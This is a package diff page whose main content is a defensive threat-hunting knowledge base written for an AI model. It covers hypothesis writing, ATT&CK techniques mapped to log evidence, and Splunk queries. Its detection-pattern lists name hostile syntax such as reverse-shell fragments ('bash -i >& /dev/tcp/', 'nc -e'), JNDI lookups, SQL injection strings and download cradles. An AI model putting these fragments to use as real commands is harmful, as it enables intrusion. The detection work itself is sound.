agentic-threat-hunting-framework 0.2.3__py3-none-any.whl → 0.2.4__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (36) hide show
  1. {agentic_threat_hunting_framework-0.2.3.dist-info → agentic_threat_hunting_framework-0.2.4.dist-info}/METADATA +1 -1
  2. agentic_threat_hunting_framework-0.2.4.dist-info/RECORD +47 -0
  3. athf/__version__.py +1 -1
  4. athf/cli.py +1 -1
  5. athf/commands/hunt.py +1 -3
  6. athf/commands/init.py +45 -0
  7. athf/commands/similar.py +2 -2
  8. athf/data/__init__.py +14 -0
  9. athf/data/docs/CHANGELOG.md +147 -0
  10. athf/data/docs/CLI_REFERENCE.md +1797 -0
  11. athf/data/docs/INSTALL.md +594 -0
  12. athf/data/docs/README.md +31 -0
  13. athf/data/docs/environment.md +256 -0
  14. athf/data/docs/getting-started.md +419 -0
  15. athf/data/docs/level4-agentic-workflows.md +480 -0
  16. athf/data/docs/lock-pattern.md +149 -0
  17. athf/data/docs/maturity-model.md +400 -0
  18. athf/data/docs/why-athf.md +44 -0
  19. athf/data/hunts/FORMAT_GUIDELINES.md +507 -0
  20. athf/data/hunts/H-0001.md +453 -0
  21. athf/data/hunts/H-0002.md +436 -0
  22. athf/data/hunts/H-0003.md +546 -0
  23. athf/data/hunts/README.md +231 -0
  24. athf/data/integrations/MCP_CATALOG.md +45 -0
  25. athf/data/integrations/README.md +129 -0
  26. athf/data/integrations/quickstart/splunk.md +162 -0
  27. athf/data/knowledge/hunting-knowledge.md +2375 -0
  28. athf/data/prompts/README.md +172 -0
  29. athf/data/prompts/ai-workflow.md +581 -0
  30. athf/data/prompts/basic-prompts.md +316 -0
  31. athf/data/templates/HUNT_LOCK.md +228 -0
  32. agentic_threat_hunting_framework-0.2.3.dist-info/RECORD +0 -23
  33. {agentic_threat_hunting_framework-0.2.3.dist-info → agentic_threat_hunting_framework-0.2.4.dist-info}/WHEEL +0 -0
  34. {agentic_threat_hunting_framework-0.2.3.dist-info → agentic_threat_hunting_framework-0.2.4.dist-info}/entry_points.txt +0 -0
  35. {agentic_threat_hunting_framework-0.2.3.dist-info → agentic_threat_hunting_framework-0.2.4.dist-info}/licenses/LICENSE +0 -0
  36. {agentic_threat_hunting_framework-0.2.3.dist-info → agentic_threat_hunting_framework-0.2.4.dist-info}/top_level.txt +0 -0
@@ -0,0 +1,2375 @@
1
+ # Threat Hunting Brain - Core Knowledge Base
2
+
3
+ **Purpose:** This document embeds expert threat hunting knowledge into Claude's reasoning process. Read and internalize these frameworks before generating hypotheses, analyzing findings, or making hunting decisions.
4
+
5
+ **Last Updated:** 2025-11-17
6
+ **Maintained By:** ATHF Framework
7
+
8
+ ---
9
+
10
+ ## Section 1: Hypothesis Generation Knowledge
11
+
12
+ ### Pattern-Based Hypothesis Generation
13
+
14
+ Hypotheses can emerge from four primary trigger patterns:
15
+
16
+ #### 1.1 TTP-Driven (Technique-First)
17
+
18
+ Start with MITRE ATT&CK technique, work backward to observables.
19
+
20
+ **Pattern:** "Adversaries use [specific technique behavior] to [achieve goal] on [target environment]"
21
+
22
+ **Example:**
23
+
24
+ - TTP: T1003.001 (LSASS Memory)
25
+ - Hypothesis: "Adversaries access lsass.exe process memory to extract credentials for lateral movement on Windows servers"
26
+ - Why good: Specific behavior, clear goal, scoped target
27
+
28
+ #### 1.2 Actor-Driven (Threat Intel)
29
+
30
+ Start with adversary profile/campaign, identify likely TTPs for your environment.
31
+
32
+ **Pattern:** "[Actor/Campaign] will likely [behavior] because [environmental factor/target value]"
33
+
34
+ **Example:**
35
+
36
+ - Intel: APT29 phishing campaign targeting healthcare
37
+ - Hypothesis: "APT29 will use COVID-themed phishing with macro-enabled documents to gain initial access to clinical workstations"
38
+ - Why good: Actor-specific, environment-aware, timely context
39
+
40
+ #### 1.3 Behavior-Driven (Anomaly Detection)
41
+
42
+ Start with unusual baseline deviation, form hypothesis about adversary intent.
43
+
44
+ **Pattern:** "Unusual [observable pattern] may indicate [adversary technique] attempting [objective]"
45
+
46
+ **Example:**
47
+
48
+ - Anomaly: Spike in failed SSH attempts across dev servers
49
+ - Hypothesis: "Automated credential stuffing attacks target development infrastructure using compromised credential lists" (See H-0001.md)
50
+ - Why good: Based on real anomaly, testable, actionable
51
+
52
+ #### 1.4 Telemetry Gap-Driven (Coverage Improvement)
53
+
54
+ Start with detection blind spot, hypothesize what adversaries could do undetected.
55
+
56
+ **Pattern:** "Given lack of [telemetry type] visibility, adversaries could [technique] without detection on [target]"
57
+
58
+ **Example:**
59
+
60
+ - Gap: No cron job monitoring on Linux servers
61
+ - Hypothesis: "Adversaries establish persistence via malicious cron jobs on Linux systems without triggering alerts" (See H-0002.md)
62
+ - Why good: Gap-aware, motivates visibility improvement
63
+
64
+ ### What Makes a Good Hypothesis
65
+
66
+ **Quality Criteria (Use as Checklist):**
67
+
68
+ 1. **Falsifiable** - Can be proven true or false with data
69
+ - Good: "PowerShell downloads from temp directories indicate malware staging"
70
+ - Bad: "Attackers might use PowerShell" (too vague to test)
71
+
72
+ 2. **Scoped** - Bounded by target, timeframe, or behavior
73
+ - Good: "Domain controllers accessed via non-admin accounts during off-hours"
74
+ - Bad: "Unusual authentication activity" (unbounded)
75
+
76
+ 3. **Observable** - Tied to specific log sources and fields
77
+ - Good: "Sysmon Event ID 10 shows lsass.exe access with 0x1010 permissions"
78
+ - Bad: "Credential theft is occurring" (no observable specified)
79
+
80
+ 4. **Actionable** - Can inform detection or response
81
+ - Good: "Base64-encoded commands in PowerShell logs correlate with C2 callback behavior"
82
+ - Bad: "Attackers are sophisticated" (not actionable)
83
+
84
+ 5. **Contextual** - References environment, threat landscape, or business risk
85
+ - Good: "Given recent Log4j exploitation, webservers will show outbound LDAP connections"
86
+ - Bad: "Generic RCE attempts" (no context)
87
+
88
+ ### Hypothesis Quality Examples
89
+
90
+ #### Exemplar Good Hypotheses
91
+
92
+ **H1: Credential Dumping via LSASS Access**
93
+ "Adversaries access lsass.exe process memory using mimikatz or similar tools to extract plaintext credentials and Kerberos tickets for lateral movement across Windows domain systems."
94
+
95
+ Why excellent:
96
+
97
+ - Falsifiable: Check Sysmon Event ID 10 for lsass.exe TargetImage
98
+ - Scoped: Windows domain, specific target process
99
+ - Observable: ProcessAccess events with specific GrantedAccess values (0x1010, 0x1fffff)
100
+ - Actionable: Can build detection, identify lateral movement candidates
101
+ - Contextual: Common post-exploitation technique in domain environments
102
+
103
+ **H2: SSH Brute Force from Internet Sources**
104
+ "Automated tools from internet-based sources attempt password guessing against SSH services, targeting common usernames (root, admin) with high attempt rates (>10 attempts/5min) to gain initial access to Linux systems."
105
+
106
+ Why excellent:
107
+
108
+ - Falsifiable: Check auth.log for failed SSH attempts by source IP
109
+ - Scoped: External IPs, SSH service, specific threshold
110
+ - Observable: Linux auth logs, failed authentication events
111
+ - Actionable: Can block source IPs, implement rate limiting
112
+ - Contextual: Common internet scanning/attack pattern (See H-0001.md)
113
+
114
+ **H3: Living-Off-the-Land Binary (LOLBin) Abuse**
115
+ "Adversaries execute malicious commands via legitimate Windows binaries (certutil, bitsadmin, mshta) to download payloads or execute code, evading application whitelisting controls on corporate workstations."
116
+
117
+ Why excellent:
118
+
119
+ - Falsifiable: Check command-line arguments for download/execute patterns
120
+ - Scoped: Legitimate binaries, corporate workstations, specific behaviors
121
+ - Observable: Process creation logs with suspicious command-line flags
122
+ - Actionable: Alert on unusual usage patterns, restrict parameters
123
+ - Contextual: Common AV/EDR evasion technique
124
+
125
+ **H4: Cron Job Persistence on Linux Servers**
126
+ "Adversaries modify crontab files to execute malicious scripts at regular intervals, maintaining persistent access on compromised Linux servers through scheduled task abuse."
127
+
128
+ Why excellent:
129
+
130
+ - Falsifiable: Check cron file modifications and scheduled command content
131
+ - Scoped: Linux servers, specific persistence mechanism
132
+ - Observable: File integrity monitoring on /etc/crontab, /var/spool/cron
133
+ - Actionable: Can detect, remediate, baseline legitimate cron jobs
134
+ - Contextual: Common Linux persistence technique (See H-0002.md)
135
+
136
+ **H5: Kerberoasting Service Principal Name (SPN) Enumeration**
137
+ "Adversaries with valid domain credentials enumerate service accounts with registered SPNs, request Kerberos TGS tickets, and perform offline password cracking to escalate privileges within the Active Directory environment."
138
+
139
+ Why excellent:
140
+
141
+ - Falsifiable: Check Windows Event 4769 (TGS Request) for unusual patterns
142
+ - Scoped: Active Directory, specific attack chain steps
143
+ - Observable: TGS requests for service accounts from user workstations
144
+ - Actionable: Detect unusual TGS volume, audit service account passwords
145
+ - Contextual: Common AD privilege escalation technique
146
+
147
+ #### Anti-Patterns: Bad Hypotheses + Fixes
148
+
149
+ **Bad H1: "Attackers are using PowerShell"**
150
+ Problems:
151
+
152
+ - Too vague (which attackers? what PowerShell activity?)
153
+ - Not falsifiable (PowerShell is used legitimately constantly)
154
+ - No scope (all PowerShell everywhere?)
155
+ - Not observable (which specific indicators?)
156
+
157
+ **Fixed:** "Adversaries use obfuscated PowerShell commands with encoded parameters (detected via ScriptBlockLogging Event 4104) to download second-stage payloads from external IPs on Windows endpoints during after-hours periods."
158
+
159
+ ---
160
+
161
+ **Bad H2: "There might be malware on the network"**
162
+ Problems:
163
+
164
+ - Completely vague
165
+ - Not testable
166
+ - No behavior specified
167
+ - No data source identified
168
+
169
+ **Fixed:** "Malware beaconing is occurring via periodic HTTP POST requests to non-corporate domains at fixed intervals (every 60 seconds), observable in proxy logs as repetitive connections with small payload sizes (<500 bytes) from infected endpoints."
170
+
171
+ ---
172
+
173
+ **Bad H3: "Suspicious activity in Active Directory"**
174
+ Problems:
175
+
176
+ - Not specific
177
+ - No behavior described
178
+ - "Suspicious" is subjective
179
+ - No observables
180
+
181
+ **Fixed:** "Adversaries are conducting AD reconnaissance using BloodHound-style LDAP queries, observable as high-volume LDAP searches (Event 1644) for sensitive attributes (adminCount, member, servicePrincipalName) from non-admin user accounts."
182
+
183
+ ---
184
+
185
+ **Bad H4: "Cloud accounts might be compromised"**
186
+ Problems:
187
+
188
+ - Vague target
189
+ - No specific compromise indicator
190
+ - Not testable
191
+ - No scope
192
+
193
+ **Fixed:** "Cloud administrator accounts are accessed from impossible travel locations (sign-in from geographically distant IPs within 1 hour), indicating credential compromise or session hijacking in Azure AD/AWS IAM."
194
+
195
+ ---
196
+
197
+ **Bad H5: "Lateral movement is happening"**
198
+ Problems:
199
+
200
+ - No technique specified
201
+ - No observables
202
+ - Too broad
203
+ - Not actionable
204
+
205
+ **Fixed:** "Adversaries are using Pass-the-Hash to move laterally via SMB (T1550.002), observable as NTLM authentication events (Event 4624 Logon Type 3) with matching source/destination workstation names and NTLMv1 protocol usage across multiple endpoints within short timeframes."
206
+
207
+ ### Hunt Seed Conversion Framework
208
+
209
+ **Hunt Seeds** are raw inputs that need refinement into testable hypotheses.
210
+
211
+ #### Seed Type 1: Threat Intelligence Report
212
+
213
+ **Raw Seed:** "APT28 is using Zebrocy malware in recent campaigns"
214
+
215
+ **Conversion Process:**
216
+
217
+ 1. Extract TTPs: What does Zebrocy do? (C2 via HTTP, uses scheduled tasks, harvests files)
218
+ 2. Map to your environment: Do we have targets APT28 cares about?
219
+ 3. Identify observables: What logs would show Zebrocy behavior?
220
+ 4. Add scope: Which systems, timeframe, priority?
221
+
222
+ **Refined Hypothesis:** "APT28-affiliated actors may deploy Zebrocy malware on external-facing web servers, establishing C2 via HTTP to rare/suspicious domains and persisting via scheduled tasks, observable in proxy logs (unusual user-agent strings) and Windows Task Scheduler logs (Event 4698)."
223
+
224
+ #### Seed Type 2: Vulnerability/CVE Announcement
225
+
226
+ **Raw Seed:** "Log4Shell (CVE-2021-44228) allows RCE in Java applications"
227
+
228
+ **Conversion Process:**
229
+
230
+ 1. Identify affected systems: What Java apps do we run? (Elasticsearch, Tomcat, custom apps)
231
+ 2. Determine exploitation observables: What would exploitation look like? (JNDI lookup strings in logs)
232
+ 3. Consider post-exploitation: What would attacker do next? (Web shell, reverse shell)
233
+ 4. Scope by criticality: Which systems are most targeted?
234
+
235
+ **Refined Hypothesis:** "Adversaries are exploiting Log4Shell in our public-facing Elasticsearch instances, observable as HTTP requests containing JNDI LDAP lookup strings (${jndi:ldap://) in User-Agent or request parameters, followed by outbound connections to attacker-controlled LDAP servers."
236
+
237
+ #### Seed Type 3: SOC Alert / Anomaly
238
+
239
+ **Raw Seed:** "Alert: Unusual process execution on WEB-SERVER-03"
240
+
241
+ **Conversion Process:**
242
+
243
+ 1. Characterize anomaly: What's unusual? (Process: whoami.exe from w3wp.exe parent)
244
+ 2. Determine technique: What attack does this suggest? (Web shell execution, T1505.003)
245
+ 3. Identify related observables: What else would we see? (File writes, network connections)
246
+ 4. Scope investigation: Is this isolated or campaign?
247
+
248
+ **Refined Hypothesis:** "A web shell has been deployed on WEB-SERVER-03, observable as IIS worker process (w3wp.exe) spawning reconnaissance commands (whoami, ipconfig, net user) and potentially establishing outbound connections, indicating post-exploitation activity from successful web application exploitation."
249
+
250
+ #### Seed Type 4: Detection Gap Identification
251
+
252
+ **Raw Seed:** "We don't monitor Docker API calls"
253
+
254
+ **Conversion Process:**
255
+
256
+ 1. Assess risk: What could adversary do undetected? (Deploy malicious containers)
257
+ 2. Map to technique: Which ATT&CK techniques apply? (T1610 Deploy Container)
258
+ 3. Hypothesize abuse: How would adversary leverage this?
259
+ 4. Define what good detection looks like
260
+
261
+ **Refined Hypothesis:** "Adversaries with access to Docker hosts could deploy malicious containers with privileged flags (--privileged, --pid=host) to escape container isolation and access the underlying host, undetected due to lack of Docker API monitoring."
262
+
263
+ ---
264
+
265
+ ## Section 2: Behavioral Models
266
+
267
+ ### ATT&CK TTP → Observable Log Artifacts
268
+
269
+ This section maps techniques to specific log evidence. Use this to translate abstract TTPs into concrete hunting targets.
270
+
271
+ #### Tactic: Initial Access (TA0001)
272
+
273
+ **T1078 - Valid Accounts**
274
+
275
+ - Observable: Successful authentication (Windows Event 4624, Linux auth.log, VPN logs)
276
+ - Key Fields: username, source IP, logon type, timestamp
277
+ - Suspicious Patterns:
278
+ - Logon from unusual geographic location
279
+ - Logon at unusual time (off-hours for that user)
280
+ - Multiple concurrent logons from different IPs
281
+ - First-time logon from external IP
282
+ - Benign Baseline: Business hours, corporate IP ranges, consistent source IPs
283
+
284
+ **T1190 - Exploit Public-Facing Application**
285
+
286
+ - Observable: Web server logs, IDS/IPS alerts, application errors
287
+ - Key Fields: request URI, HTTP method, user-agent, response codes, POST data
288
+ - Suspicious Patterns:
289
+ - SQL injection attempts (UNION SELECT, ' OR '1'='1)
290
+ - Directory traversal (../, %2e%2e%2f)
291
+ - Serialization exploits (JNDI, pickle, yaml.load)
292
+ - Unusual POST data sizes or binary content
293
+ - Benign Baseline: Normal application traffic patterns, known vulnerability scanners (Shodan)
294
+
295
+ **T1566.001 - Phishing: Spearphishing Attachment**
296
+
297
+ - Observable: Email gateway logs, endpoint file creation, process execution
298
+ - Key Fields: sender, recipient, attachment name/hash, process parent chain
299
+ - Suspicious Patterns:
300
+ - Macro-enabled document from external sender
301
+ - Office process (WINWORD.exe) spawning cmd.exe/powershell.exe
302
+ - File written to Temp folder then executed
303
+ - Suspicious attachment extensions (.scr, .pif, double extensions)
304
+ - Benign Baseline: Internal document sharing, known business partners
305
+
306
+ #### Tactic: Execution (TA0002)
307
+
308
+ **T1059.001 - Command and Scripting Interpreter: PowerShell**
309
+
310
+ - Observable: PowerShell operational logs (Event 4103, 4104), process creation (Sysmon Event 1)
311
+ - Key Fields: ScriptBlockText, CommandLine, ExecutionPolicy bypass flags
312
+ - Suspicious Patterns:
313
+ - Encoded commands (-enc, -EncodedCommand)
314
+ - Download cradles (IEX, Invoke-WebRequest, Net.WebClient)
315
+ - Execution policy bypass (-Exec Bypass, -EP Bypass)
316
+ - Obfuscation (backticks, string concatenation, character substitution)
317
+ - Suspicious parent process (Excel, Outlook, browser)
318
+ - Benign Baseline: Admin scripts from specific paths, scheduled task PowerShell, known automation tools
319
+
320
+ **T1059.003 - Command and Scripting Interpreter: Windows Command Shell**
321
+
322
+ - Observable: Process creation logs (Sysmon Event 1, Windows Event 4688)
323
+ - Key Fields: CommandLine, ParentImage, User
324
+ - Suspicious Patterns:
325
+ - cmd.exe with /c flag from non-shell parent
326
+ - Reconnaissance commands (whoami, net user, ipconfig, tasklist)
327
+ - Redirection operators (>, >>, |) from suspicious parent
328
+ - Execution from Office/browser processes
329
+ - Benign Baseline: Admin scripts, software installers, scheduled tasks
330
+
331
+ **T1059.004 - Command and Scripting Interpreter: Unix Shell**
332
+
333
+ - Observable: Bash history, auditd logs, process execution logs
334
+ - Key Fields: command, working_directory, user, parent_process
335
+ - Suspicious Patterns:
336
+ - wget/curl downloading to /tmp or /dev/shm
337
+ - chmod +x followed by execution
338
+ - Base64 encoding/decoding in command chain
339
+ - Reverse shell patterns (bash -i >& /dev/tcp/, nc -e)
340
+ - History manipulation (history -c, unset HISTFILE)
341
+ - Benign Baseline: Admin tasks from known users, package management, scheduled jobs
342
+
343
+ #### Tactic: Persistence (TA0003)
344
+
345
+ **T1053.005 - Scheduled Task/Job: Scheduled Task (Windows)**
346
+
347
+ - Observable: Windows Event 4698 (Task Created), Sysmon Event 1 (schtasks.exe execution)
348
+ - Key Fields: TaskName, ActionCommand, Author, Trigger schedule
349
+ - Suspicious Patterns:
350
+ - Task created by non-admin user
351
+ - Task executing from Temp directories
352
+ - Task with encoded PowerShell command
353
+ - Task author different from creator
354
+ - Unusual schedule (every minute, at logon)
355
+ - Benign Baseline: System maintenance tasks, software update tasks, known scheduled jobs
356
+
357
+ **T1053.003 - Scheduled Task/Job: Cron (Linux)**
358
+
359
+ - Observable: Crontab file modifications, cron execution logs (/var/log/cron)
360
+ - Key Fields: user, cron_command, schedule, file_path
361
+ - Suspicious Patterns:
362
+ - Cron command containing curl/wget
363
+ - Commands executing from /tmp or /dev/shm
364
+ - Base64 encoding in cron commands
365
+ - Reverse shell syntax (bash -i, nc -e)
366
+ - Non-admin user creating cron jobs (See H-0002.md)
367
+ - Benign Baseline: Logrotate, backups, system monitoring, package updates
368
+
369
+ **T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys**
370
+
371
+ - Observable: Registry modification logs (Sysmon Event 13), Windows Event 4657
372
+ - Key Fields: TargetObject (registry path), Details (value data)
373
+ - Suspicious Patterns:
374
+ - HKCU\Software\Microsoft\Windows\CurrentVersion\Run modifications
375
+ - HKLM\...\Run modifications by non-admin
376
+ - Executable in Temp/AppData locations
377
+ - Suspicious file paths or encoded commands
378
+ - Benign Baseline: Legitimate software installations, user preferences
379
+
380
+ #### Tactic: Privilege Escalation (TA0004)
381
+
382
+ **T1055 - Process Injection**
383
+
384
+ - Observable: Sysmon Event 8 (CreateRemoteThread), Event 10 (ProcessAccess with suspicious permissions)
385
+ - Key Fields: SourceImage, TargetImage, GrantedAccess, CallTrace
386
+ - Suspicious Patterns:
387
+ - Suspicious process accessing high-privilege process (lsass, services)
388
+ - Unusual GrantedAccess masks (0x1F0FFF, 0x1410, 0x1FFFFF)
389
+ - CreateRemoteThread from non-system process
390
+ - Missing or invalid digital signatures on SourceImage
391
+ - Benign Baseline: EDR/AV tools, debuggers (Visual Studio), system management tools
392
+
393
+ **T1134 - Access Token Manipulation**
394
+
395
+ - Observable: Windows Event 4672 (Special Privileges Assigned), API calls logged by EDR
396
+ - Key Fields: Subject (user), Privileges (SeDebugPrivilege, SeImpersonatePrivilege)
397
+ - Suspicious Patterns:
398
+ - SeImpersonatePrivilege used by IIS worker process
399
+ - SeDebugPrivilege assigned to non-admin user
400
+ - Token manipulation from web shells
401
+ - Benign Baseline: Backup software, security tools, SQL Server service accounts
402
+
403
+ #### Tactic: Credential Access (TA0006)
404
+
405
+ **T1003.001 - OS Credential Dumping: LSASS Memory**
406
+
407
+ - Observable: Sysmon Event 10 (ProcessAccess to lsass.exe), memory dumps detected by EDR
408
+ - Key Fields: SourceImage, TargetImage (lsass.exe), GrantedAccess, CallTrace
409
+ - Suspicious Patterns:
410
+ - Access to lsass.exe with 0x1010 (PROCESS_VM_READ)
411
+ - Access from unsigned binaries
412
+ - Access from Temp/AppData directories
413
+ - Processes named mimikatz, procdump, dumpert (See H-0001.md example translated)
414
+ - Benign Baseline: EDR agents, Windows Defender, SCOM monitoring agents
415
+
416
+ **T1110.001 - Brute Force: Password Guessing**
417
+
418
+ - Observable: Failed authentication logs (Windows Event 4625, Linux auth failures, app-specific)
419
+ - Key Fields: source IP, target username, failure count, timestamp
420
+ - Suspicious Patterns:
421
+ - High volume failed attempts (>10) from single source
422
+ - Multiple usernames tried from same source
423
+ - Rapid attempt rate (>1/min indicates automation)
424
+ - Failed attempts followed by successful auth (See H-0001.md)
425
+ - Benign Baseline: Legitimate user password mistyping (low count, followed by success)
426
+
427
+ **T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting**
428
+
429
+ - Observable: Windows Event 4769 (Kerberos TGS Request)
430
+ - Key Fields: Service Name, Ticket Encryption Type, Client Address
431
+ - Suspicious Patterns:
432
+ - TGS requests with RC4 encryption (0x17) for service accounts
433
+ - High volume TGS requests from single user
434
+ - TGS requests for services user doesn't normally access
435
+ - Requests from workstations for unusual SPNs
436
+ - Benign Baseline: Normal service access patterns, automated service authentication
437
+
438
+ #### Tactic: Discovery (TA0007)
439
+
440
+ **T1087 - Account Discovery**
441
+
442
+ - Observable: Command execution logs (net user, net group, whoami, id)
443
+ - Key Fields: CommandLine, User, ParentImage
444
+ - Suspicious Patterns:
445
+ - "net user /domain" from non-admin workstation
446
+ - "whoami /all" after suspicious parent process
447
+ - LDAP queries for all users (dsquery, PowerView)
448
+ - Enumeration shortly after initial access
449
+ - Benign Baseline: Admin troubleshooting, help desk activities, security tools
450
+
451
+ **T1083 - File and Directory Discovery**
452
+
453
+ - Observable: Process execution (dir, ls), file access patterns
454
+ - Key Fields: CommandLine, files_accessed, recursion_depth
455
+ - Suspicious Patterns:
456
+ - Recursive directory listing (dir /s)
457
+ - Searching for specific file types (*.pdf, *.docx, password*)
458
+ - Accessing sensitive directories (C:\Users\, /home/, /etc/)
459
+ - Unusual process performing file discovery (web server, Office app)
460
+ - Benign Baseline: User file browsing, backup software, indexing services
461
+
462
+ **T1082 - System Information Discovery**
463
+
464
+ - Observable: Command execution (systeminfo, uname, ipconfig, ifconfig)
465
+ - Key Fields: CommandLine, User, timestamp_relative_to_access
466
+ - Suspicious Patterns:
467
+ - Multiple discovery commands in rapid sequence
468
+ - System info gathering from web server process
469
+ - Discovery commands from Office/browser child processes
470
+ - Combination: whoami && ipconfig && systeminfo
471
+ - Benign Baseline: Admin diagnostics, monitoring agents, inventory tools
472
+
473
+ #### Tactic: Lateral Movement (TA0008)
474
+
475
+ **T1021.001 - Remote Services: Remote Desktop Protocol**
476
+
477
+ - Observable: Windows Event 4624 (Logon Type 10), Event 4778 (RDP session reconnect)
478
+ - Key Fields: source IP, target account, logon timestamp
479
+ - Suspicious Patterns:
480
+ - RDP from workstation to workstation (not jump box)
481
+ - RDP at unusual hours for that account
482
+ - RDP session followed by suspicious process execution
483
+ - Multiple RDP connections in short timeframe (lateral spread)
484
+ - Benign Baseline: Admin access via jump servers, help desk remote support
485
+
486
+ **T1021.002 - Remote Services: SMB/Windows Admin Shares**
487
+
488
+ - Observable: Windows Event 5140 (Share access), 4624 (Logon Type 3), SMB traffic logs
489
+ - Key Fields: share_name (\\target\ADMIN$, \\target\C$), source_ip, account
490
+ - Suspicious Patterns:
491
+ - Access to ADMIN$ or C$ from non-server sources
492
+ - Lateral movement pattern across multiple hosts
493
+ - Share access followed by service creation (Event 7045)
494
+ - Account used outside normal scope
495
+ - Benign Baseline: Admin tools (SCCM, GPO deployment), file servers
496
+
497
+ **T1021.004 - Remote Services: SSH**
498
+
499
+ - Observable: SSH authentication logs (auth.log, syslog), network connections
500
+ - Key Fields: source_ip, target_user, authentication_method
501
+ - Suspicious Patterns:
502
+ - SSH from one internal server to another (lateral movement)
503
+ - SSH key usage from unexpected hosts
504
+ - SSH connections to multiple internal IPs in sequence
505
+ - SSH after suspicious activity on source host
506
+ - Benign Baseline: Admin access from jump hosts, orchestration tools (Ansible)
507
+
508
+ #### Tactic: Collection (TA0009)
509
+
510
+ **T1005 - Data from Local System**
511
+
512
+ - Observable: File access logs, process file operations
513
+ - Key Fields: file_path, process_name, operation_type
514
+ - Suspicious Patterns:
515
+ - Access to Documents, Desktop, sensitive directories
516
+ - File search patterns (dir *.pdf /s)
517
+ - Compression tools (7z.exe, WinRAR.exe) run from unusual locations
518
+ - Archive creation with multiple file types
519
+ - Benign Baseline: Backup software, user file management, sync clients
520
+
521
+ **T1113 - Screen Capture**
522
+
523
+ - Observable: Process execution logs (screencapture, snippet, screenshot utilities)
524
+ - Key Fields: process_name, command_line, output_file_path
525
+ - Suspicious Patterns:
526
+ - Screenshot tools from Office/browser child processes
527
+ - Screenshots saved to Temp directories
528
+ - Automated screenshot tools (scheduled or loop)
529
+ - Benign Baseline: User-initiated Snipping Tool, legitimate screen recording software
530
+
531
+ #### Tactic: Command and Control (TA0011)
532
+
533
+ **T1071.001 - Application Layer Protocol: Web Protocols**
534
+
535
+ - Observable: Proxy logs, firewall logs, DNS queries, TLS certificates
536
+ - Key Fields: destination_domain, user_agent, bytes_out, bytes_in, frequency
537
+ - Suspicious Patterns:
538
+ - Regular beaconing (connections every 60s, 300s exactly)
539
+ - Small payload sizes (<500 bytes) repeated
540
+ - Unusual user agents or missing user agents
541
+ - Connections to newly registered domains
542
+ - TLS certificates with mismatched CN or self-signed
543
+ - Benign Baseline: Application legitimate traffic, software update checks
544
+
545
+ **T1573 - Encrypted Channel**
546
+
547
+ - Observable: Network traffic analysis, TLS session details
548
+ - Key Fields: destination, port, encryption_type, certificate_issuer
549
+ - Suspicious Patterns:
550
+ - TLS to non-standard ports (not 443)
551
+ - Connections to IP addresses (not domains) over TLS
552
+ - Invalid or self-signed certificates
553
+ - High volume encrypted traffic to suspicious destinations
554
+ - Benign Baseline: Corporate VPN, cloud services, SaaS applications
555
+
556
+ #### Tactic: Exfiltration (TA0010)
557
+
558
+ **T1041 - Exfiltration Over C2 Channel**
559
+
560
+ - Observable: Network flow data, proxy logs, firewall logs
561
+ - Key Fields: bytes_out, destination, duration, protocol
562
+ - Suspicious Patterns:
563
+ - Large upload volumes (>100MB) to non-corporate destinations
564
+ - Upload volume anomaly for user/host
565
+ - Uploads during off-hours
566
+ - Uploads to suspicious TLDs (.xyz, .tk, .ru)
567
+ - Benign Baseline: Cloud backups, file sharing services, video conferencing uploads
568
+
569
+ **T1567.002 - Exfiltration to Cloud Storage**
570
+
571
+ - Observable: Proxy logs, DNS queries, firewall logs
572
+ - Key Fields: destination_domain (dropbox, mega, anonfiles), bytes_out, user
573
+ - Suspicious Patterns:
574
+ - Uploads to personal cloud storage from corporate systems
575
+ - First-time access to file sharing services
576
+ - Large uploads to rare cloud storage providers
577
+ - Access to cloud storage from servers (not workstations)
578
+ - Benign Baseline: Sanctioned cloud storage (corporate OneDrive, Google Drive)
579
+
580
+ ### Behavior-to-Telemetry Translation Guide
581
+
582
+ **Question:** "How do I know if this behavior is happening?"
583
+ **Answer:** Map behavior → required logs → key fields
584
+
585
+ | Adversary Behavior | Required Telemetry | Key Fields | Query Starting Point |
586
+ |-------------------|-------------------|------------|---------------------|
587
+ | Process execution | Sysmon Event 1, Windows Event 4688, auditd exec | process_name, command_line, parent_process, user, hash | index=windows EventCode=1 |
588
+ | File creation/modification | Sysmon Event 11, FIM logs, auditd file | file_path, action, process_name, user, hash | index=windows EventCode=11 |
589
+ | Registry modification | Sysmon Event 12/13/14, Windows Event 4657 | registry_path, registry_value, process_name | index=windows EventCode=13 |
590
+ | Network connection | Sysmon Event 3, netflow, firewall logs | source_ip, dest_ip, dest_port, process_name | index=network dest_port=* |
591
+ | DNS query | DNS logs, Sysmon Event 22, proxy logs | query_name, answer, source_ip | index=dns query=* |
592
+ | Authentication | Windows Event 4624/4625, auth.log, VPN logs | user, source_ip, logon_type, result | index=auth action=* |
593
+ | Service creation | Windows Event 7045, 4697 | service_name, service_path, user | index=windows EventCode=7045 |
594
+ | Scheduled task creation | Windows Event 4698, schtasks.exe execution | task_name, action_command, trigger | index=windows EventCode=4698 |
595
+ | PowerShell execution | Event 4103, 4104, 4105/4106 | script_block_text, command_line | index=powershell EventCode=4104 |
596
+ | Process injection | Sysmon Event 8, 10 | source_image, target_image, granted_access | index=windows EventCode=10 |
597
+ | WMI activity | Sysmon Event 19/20/21, Windows Event 5857/5858/5859 | wmi_consumer, wmi_filter, command | index=windows EventCode=19 |
598
+ | Driver load | Sysmon Event 6 | image_loaded, signature, signed | index=windows EventCode=6 |
599
+
600
+ ### SPL Query Optimization Best Practices
601
+
602
+ **Core Principle:** Filter early, let the indexers do the heavy lifting.
603
+
604
+ When crafting SPL queries for threat hunting, the placement of your filters dramatically impacts performance. Always apply filters as early as possible in your search—ideally in the base search before any pipe commands. This allows Splunk to push filtering logic down to the indexers, reducing the amount of data that needs to be processed by the search heads.
605
+
606
+ #### The Efficiency Question: One Fat Search vs Multiple Skinny Ones
607
+
608
+ **Option A: Early Filtering (RECOMMENDED)**
609
+
610
+ ```spl
611
+ index=edr_mac sourcetype=process_execution
612
+ (process_name="osascript" OR process_name="AppleScript")
613
+ (command_line="*duplicate file*" OR command_line="*Cookies.binarycookies*" OR command_line="*NoteStore.sqlite*")
614
+ | stats count by _time, hostname, user, process_name, command_line, parent_process
615
+ | sort -_time
616
+ ```
617
+
618
+ **Why this works:**
619
+
620
+ - All filters applied in base search (before first pipe)
621
+ - Indexers can filter data at source, reducing network transfer
622
+ - Search heads receive only relevant events
623
